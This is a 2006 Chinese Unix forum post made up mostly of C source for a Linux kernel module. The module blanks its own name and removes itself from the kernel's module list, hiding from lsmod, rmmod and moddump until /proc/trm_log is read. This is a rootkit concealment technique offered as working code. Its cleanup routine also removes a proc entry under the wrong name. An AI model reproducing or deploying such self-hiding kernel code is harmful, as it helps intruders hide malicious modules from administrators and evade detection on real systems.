免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1442 | 回复: 0
打印 上一主题 下一主题

Module Trace Reference [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2006-04-06 16:45 |只看该作者 |倒序浏览
#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/version.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/proc_fs.h>        //log to proc file system
#include <linux/errno.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <asm/pgtable.h>
#include <asm/fixmap.h>
#include <asm/page.h>

int restore = 0;
struct module *nextmod;
struct list_head __this_head;
char nextmod_name[64];

// cat /proc/trm_log restore trm.ko
// then you can use lsmod and rmmod
int read_procaddr(char *buf,char **start,off_t offset,int count,int *eof,void *data)
{
    struct module *p;
    read_lock(&tasklist_lock);
    p = &__this_module;
    p->list = __this_head;
    strcpy(p->name,"trm");
    sprintf(buf, "address              name     size      core_addr     flags\n");
    count = strlen(buf);
    sprintf((char *)(buf+count), "0x%p %13s %10lu     0x%p %4d\n", p, p->name, p->core_size,p->module_core, p->state);
    *eof = 1;
    count += strlen((char *)(buf+count));
    if(!restore && &p->list){
        list_add(&p->list, (&nextmod->list)->prev); // restore to module list
        printk(KERN_INFO "Restore trm module prev %s\n", nextmod_name);
        restore = 1;
    }
    read_unlock(&tasklist_lock);
    return count;
}

int init_module(void)
{
    struct proc_dir_entry *entry;
    struct module *mod_walker;
    // method 1
    struct module *p = &__this_module;
    *(char *)p->name = 0;
    // method 2
    __this_head = p->list;
    mod_walker = list_entry((&p->list)->next, struct module, list);
    if(mod_walker){
        strcpy(nextmod_name, mod_walker->name);
        nextmod = mod_walker;
    }

    list_del(&p->list);
    //entry = create_proc_entry("trace_moduless", S_IRUSR, &proc_root);
    //entry->proc_fops = &trace_moduless_ops;
    entry = create_proc_read_entry("trm_log",0,NULL,read_procaddr,&proc_root);
    if(entry == NULL)
        printk(KERN_ERR "%s: cannot create proc entry\n", "trm");

    return 0;
}

void cleanup_module()
{
    remove_proc_entry("trace_moduless", &proc_root);
}

MODULE_LICENSE("GPL/Dual BSD");
MODULE_AUTHOR("O.Brire He <obrire@gmail.com>");

当从list中del当前module的list后,lsmod/rmmod完全失效。
用moddump也不行。
cat /proc/trm_log可以让模块现身,并可以从/proc/trm_log中看到trm的一些信息。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP